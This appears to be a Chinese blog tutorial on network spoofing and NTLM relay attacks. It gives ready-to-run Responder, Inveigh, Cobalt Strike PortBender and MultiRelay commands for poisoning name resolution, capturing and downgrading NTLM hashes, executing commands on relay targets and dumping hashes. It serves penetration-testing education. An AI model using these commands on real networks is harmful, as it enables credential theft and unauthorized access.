渗透测试十九欺骗和中继攻击

一、网络协议

1、本地主机解析协议

LLMNR、NBT-NS 和 mDNS:

        当 DNS 失效时,Microsoft 和其他操作系统使用 LLMNR 和 NBT-NS 进行本地名称解析。同样,Apple 和 Linux 系统使用 mDNS。

        由于这些协议未经身份验证、通过 UDP 进行广播,因此很容易受到拦截和欺骗。

Responder可用于通过向查询这些协议的主机发送伪造的响应来模拟服务。

有关使用 Responder 进行服务模拟的更多信息可以在这里找到(后续文章再补充)。

2、Web 代理自动发现协议 (WPAD)

        WPAD 允许浏览器自动发现代理设置。
        通过 DHCP、DNS 或当 DNS 失败时回退到 LLMNR 和 NBT-NS 来促进发现。
        Responder 可以自动执行 WPAD 攻击,将客户端引导至恶意 WPAD 服务器。

3、Responder投毒

        Responder是一种用于毒害 LLMNR、NBT-NS 和 mDNS 查询的工具,它根据查询类型有选择地响应,主要针对 SMB 服务。

它预装在 Kali Linux 中,可在 中进行配置/etc/responder/Responder.conf

Responder 在屏幕上显示捕获的哈希值并将其保存在/usr/share/responder/logs目录中。

它同时支持 IPv4 和 IPv6。

你可以在此处获取 Windows 版本的 Responder 。

4、Responder示例

要使用默认设置运行 Responder:
responder -I <Interface>

对于更积极的探测(有潜在的副作用):
responder -I <Interface> -P -r -v

捕获 NTLMv1 挑战/响应以便于破解的技术:
responder -I <Interface> --lm --disable-ess

可以使用以下方式激活 WPAD 模拟:
responder -I <Interface> --wpad

NetBIOS 请求可以解析为攻击者的 IP,并且可以设置身份验证代理:
responder.py -I <interface> -Pv

5、DHCP 投毒

        欺骗 DHCP 响应可以永久毒害受害者的路由信息​​,从而提供一种比 ARP 毒害更隐蔽的替代方法。

它需要精确了解目标网络的配置。

发起攻击:./Responder.py -I eth0 -Pdv

此方法可以有效地捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。

6 、使用 Responder 获取凭证

        响应者将使用上述协议模拟服务,当用户尝试针对欺骗服务进行身份验证时,捕获凭据(通常是 NTLMv2 质询/响应)。

可以尝试降级到 NetNTLMv1 或禁用 ESS,以便更轻松地破解凭证。

        需要注意的是,采用这些技术应该合法且合乎道德,确保适当的授权并避免中断或未经授权的访问。

二、攻击

        Inveigh 是一款专为 Windows 系统设计的渗透测试人员和红队成员的工具。它提供与 Responder 类似的功能,可执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为InveighInveighZero 。详细参数和说明可在wiki中找到。

Inveigh 可以通过 PowerShell 进行操作:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或者作为 C# 二进制文件执行:

Inveigh.exe

1、NTLM 中继攻击

        此攻击利用 SMB 身份验证会话访问目标计算机,如果成功则授予系统 shell。关键先决条件包括:

进行身份验证的用户必须具有中继主机上的本地管理员访问权限。
应禁用 SMB 签名。

445 端口转发和隧道
        在无法直接引入网络的情况下,需要转发和隧道传输端口 445 上的流量。PortBender 等工具可帮助将端口 445 流量重定向到另一个端口,当本地管理员访问权限可用于加载驱动程序时,这一点至关重要。

Cobalt Strike 中的 PortBender 设置和操作:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

2、NTLM 中继攻击的其他工具

Metasploit:设置代理、本地和远程主机详细信息。
smbrelayx:用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
MultiRelay:Responder 套件中的一种工具,用于中继特定用户或所有用户、执行命令或转储哈希值。

        如有必要,每个工具都可以配置为通过 SOCKS 代理运行,即使通过间接网络访问也可以发起攻击。

3、多中继操作

MultiRelay 从/usr/share/responder/tools目录执行,针对特定的 IP 或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

这些工具和技术形成了在各种网络环境中进行 NTLM 中继攻击的综合集合。

三、强制 NTLM 登录

        在 Windows 中,你可能能够强制某些特权帐户对任意机器进行身份验证。阅读这里。(篇幅原因后续文章再补充)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间酒中仙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值